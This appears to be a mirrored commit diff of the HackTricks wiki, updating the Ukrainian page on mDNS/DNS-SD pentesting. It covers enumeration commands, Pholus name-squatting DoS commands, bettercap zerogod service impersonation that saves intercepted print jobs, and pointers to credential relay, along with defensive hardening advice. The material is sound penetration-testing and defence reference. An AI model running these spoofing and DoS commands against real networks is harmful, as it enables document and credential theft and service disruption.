mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
ca28c502ab
commit
ec404f6305
@ -65,7 +65,7 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
|
@ -2,53 +2,143 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Основна інформація**
|
||||
## Основна інформація
|
||||
|
||||
**Multicast DNS (mDNS)** дозволяє **операції, подібні до DNS**, у локальних мережах без необхідності в традиційному DNS-сервері. Він працює на **UDP порту 5353** і дозволяє пристроям виявляти одне одного та свої послуги, що часто спостерігається в різних IoT-пристроях. **DNS Service Discovery (DNS-SD)**, який часто використовується разом з mDNS, допомагає в ідентифікації послуг, доступних у мережі, через стандартні DNS-запити.
|
||||
Multicast DNS (mDNS) дозволяє виконувати резолюцію імен та виявлення сервісів, подібно до DNS, всередині локальної мережі без уніicast DNS сервера. Він використовує UDP/5353 та мультикаст адреси 224.0.0.251 (IPv4) та FF02::FB (IPv6). DNS Service Discovery (DNS-SD, зазвичай використовується з mDNS) надає стандартизований спосіб перерахування та опису сервісів через PTR, SRV та TXT записи.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Операція mDNS**
|
||||
Ключові деталі протоколу, які ви часто використовуватимете під час атак:
|
||||
- Імена в зоні .local вирішуються через mDNS.
|
||||
- Біт QU (Query Unicast) може запитувати унікатні відповіді навіть для мультикастових запитів.
|
||||
- Реалізації повинні ігнорувати пакети, які не надходять з локальної лінки; деякі стекі все ще їх приймають.
|
||||
- Пробування/оголошення забезпечує унікальні імена хостів/послуг; втручання тут створює умови DoS/“name squatting”.
|
||||
|
||||
У середовищах без стандартного DNS-сервера mDNS дозволяє пристроям розв'язувати доменні імена, що закінчуються на **.local**, запитуючи мультикаст-адресу **224.0.0.251** (IPv4) або **FF02::FB** (IPv6). Важливими аспектами mDNS є значення **Time-to-Live (TTL)**, що вказує на дійсність запису, та **QU bit**, що розрізняє уніicast та мультикаст запити. З точки зору безпеки, важливо, щоб реалізації mDNS перевіряли, що адреса джерела пакета відповідає локальній підмережі.
|
||||
## Модель служби DNS-SD
|
||||
|
||||
### **Функціонування DNS-SD**
|
||||
Служби ідентифікуються як _<service>._tcp або _<service>._udp під .local, наприклад, _ipp._tcp.local (принтери), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) тощо. Виявляйте типи з _services._dns-sd._udp.local, а потім вирішуйте виявлені екземпляри до SRV/TXT/A/AAAA.
|
||||
|
||||
DNS-SD полегшує виявлення мережевих сервісів, запитуючи записи вказівників (PTR), які відображають типи сервісів на їхні екземпляри. Сервіси ідентифікуються за допомогою шаблону **\_\<Service>.\_tcp або \_\<Service>.\_udp** в домені **.local**, що призводить до виявлення відповідних **SRV** та **TXT записів**, які надають детальну інформацію про сервіс.
|
||||
## Дослідження та перерахування мережі
|
||||
|
||||
### **Дослідження мережі**
|
||||
|
||||
#### **Використання nmap**
|
||||
|
||||
Корисна команда для сканування локальної мережі на наявність mDNS сервісів:
|
||||
- nmap цільовий скан (прямий mDNS на хості):
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
Ця команда допомагає виявити відкриті порти mDNS та сервіси, які рекламуються через них.
|
||||
|
||||
#### **Перерахунок мережі з Pholus**
|
||||
|
||||
Щоб активно надсилати запити mDNS та захоплювати трафік, інструмент **Pholus** можна використовувати наступним чином:
|
||||
- nmap широкомовне виявлення (прослуховування сегмента та перерахування всіх типів/екземплярів DNS-SD):
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# Список типів послуг
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# Перегляд всіх послуг та вирішення до хоста/порту
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# Перегляд всіх HTTP послуг
|
||||
dns-sd -B _http._tcp
|
||||
# Перерахування типів послуг
|
||||
dns-sd -B _services._dns-sd._udp
|
||||
# Вирішення конкретного екземпляра до SRV/TXT
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- Захоплення пакетів з tshark:
|
||||
```bash
|
||||
# Живе захоплення
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
# Тільки запити списку служб DNS-SD
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Порада: Деякі браузери/WebRTC використовують ефемерні mDNS імена хостів для маскування локальних IP. Якщо ви бачите випадкові кандидати random-UUID.local в мережі, вирішуйте їх за допомогою mDNS, щоб перейти до локальних IP.
|
||||
|
||||
## Атаки
|
||||
|
||||
### **Використання mDNS Пробування**
|
||||
### Втручання в пробування імен mDNS (DoS / name squatting)
|
||||
|
||||
Атакуючий вектор полягає у відправці підроблених відповідей на mDNS проби, що свідчить про те, що всі потенційні імена вже використовуються, тим самим ускладнюючи новим пристроям вибір унікального імені. Це можна виконати за допомогою:
|
||||
Під час фази пробування хост перевіряє унікальність імені. Відповідь з підробленими конфліктами змушує його вибрати нові імена або зазнати невдачі. Це може затримати або запобігти реєстрації та виявленню послуг.
|
||||
|
||||
Приклад з Pholus:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
# Block new devices from taking names by auto-faking responses
|
||||
sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
```
|
||||
Ця техніка ефективно блокує нові пристрої від реєстрації своїх послуг у мережі.
|
||||
### Підробка сервісів та імперсонація (MitM)
|
||||
|
||||
**У підсумку**, розуміння роботи mDNS та DNS-SD є критично важливим для управління мережею та безпеки. Інструменти, такі як **nmap** та **Pholus**, пропонують цінну інформацію про локальні мережеві послуги, тоді як усвідомлення потенційних вразливостей допомагає захиститися від атак.
|
||||
Імперсонуйте рекламовані DNS-SD сервіси (принтери, AirPlay, HTTP, файлові спільноти), щоб змусити клієнтів підключатися до вас. Це особливо корисно для:
|
||||
- Захоплення документів, підробляючи _ipp._tcp або _printer._tcp.
|
||||
- Привертання клієнтів до HTTP/HTTPS сервісів для збору токенів/куків або доставки payloads.
|
||||
- Поєднання з техніками реле NTLM, коли клієнти Windows ведуть переговори про автентифікацію до підроблених сервісів.
|
||||
|
||||
### Спуфінг/MitM
|
||||
З модулем zerogod від bettercap (підробник/імперсонувач mDNS/DNS-SD):
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
|
||||
Найцікавіша атака, яку ви можете виконати через цю службу, - це виконати **MitM** у **зв'язку між клієнтом та реальним сервером**. Ви можете отримати чутливі файли (MitM зв'язок з принтером) або навіть облікові дані (автентифікація Windows).\
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
# Show all services seen from a host
|
||||
> zerogod.show 192.168.1.42
|
||||
|
||||
# Impersonate all services of a target host automatically
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Save IPP print jobs to disk while impersonating a printer
|
||||
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Replay previously captured services
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Також дивіться загальні LLMNR/NBNS/mDNS/WPAD спуфінг та робочі процеси захоплення/ретрансляції облікових даних:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Примітки щодо недавніх проблем з реалізацією (корисно для DoS/стійкості під час залучень)
|
||||
|
||||
- Помилки досягнення Avahi та збої D-Bus (2023) можуть призвести до завершення avahi-daemon на дистрибутивах Linux (наприклад, CVE-2023-38469..38473, CVE-2023-1981), що порушує виявлення сервісів на цільових хостах до перезавантаження.
|
||||
- DoS шлюзу mDNS контролера бездротової LAN Cisco IOS XE (2024, CVE-2024-20303) дозволяє сусіднім зловмисникам викликати високе навантаження на ЦП і відключати AP. Якщо ви стикаєтеся з шлюзом mDNS між VLAN, будьте обережні щодо його стабільності при неправильно сформованому або високому трафіку mDNS.
|
||||
|
||||
## Оборонні міркування та OPSEC
|
||||
|
||||
- Межі сегментів: Не маршрутизуйте 224.0.0.251/FF02::FB між зонами безпеки, якщо шлюз mDNS не є явно необхідним. Якщо ви повинні з'єднати виявлення, надавайте перевагу дозволеним спискам та обмеженням швидкості.
|
||||
- Windows кінцеві пристрої/сервери:
|
||||
- Щоб жорстко вимкнути розв'язання імен через mDNS, встановіть значення реєстру та перезавантажте:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- У керованих середовищах вимкніть вбудоване правило брандмауера Windows Defender “mDNS (UDP-In)” (принаймні на профілі домену), щоб запобігти вхідній обробці mDNS, зберігаючи функціональність домашньої/мобільної роботи.
|
||||
- У новіших версіях Windows 11/GPO шаблонах використовуйте політику “Конфігурація комп'ютера > Адміністративні шаблони > Мережа > DNS-клієнт > Налаштувати протокол мультикастового DNS (mDNS)” і встановіть його на Вимкнено.
|
||||
- Linux (Avahi):
|
||||
- Обмежте публікацію, коли це не потрібно: встановіть `disable-publishing=yes`, і обмежте інтерфейси за допомогою `allow-interfaces=` / `deny-interfaces=` в `/etc/avahi/avahi-daemon.conf`.
|
||||
- Розгляньте `check-response-ttl=yes` і уникайте `enable-reflector=yes`, якщо це не є строго необхідним; надавайте перевагу `reflect-filters=` дозволеним спискам при відображенні.
|
||||
- macOS: Обмежте вхідний mDNS на хостах/мережевих брандмауерах, коли виявлення Bonjour не потрібно для конкретних підмереж.
|
||||
- Моніторинг: Сповіщайте про незвичайні сплески запитів `_services._dns-sd._udp.local` або раптові зміни в SRV/TXT критичних сервісів; це є показниками спуфінгу або імітації сервісу.
|
||||
|
||||
## Швидка довідка по інструментах
|
||||
|
||||
- nmap NSE: `dns-service-discovery` та `broadcast-dns-service-discovery`.
|
||||
- Pholus: активне сканування, зворотні mDNS сканування, допоміжні засоби DoS та спуфінгу.
|
||||
```bash
|
||||
# Пасивне прослуховування (секунди тайм-ауту)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# Перерахунок типів сервісів
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# Надіслати загальні запити mDNS
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# Зворотне mDNS сканування підмережі
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: виявлення, збереження, реклама та імітація mDNS/DNS-SD сервісів (див. приклади вище).
|
||||
|
||||
## Спуфінг/MitM
|
||||
|
||||
Найцікавіша атака, яку ви можете виконати через цей сервіс, - це виконати MitM у спілкуванні між клієнтом і реальним сервером. Ви можете отримати чутливі файли (MitM спілкування з принтером) або навіть облікові дані (автентифікація Windows).\
|
||||
Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -57,5 +147,7 @@ sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
## Посилання
|
||||
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
|
||||
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
|
||||
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user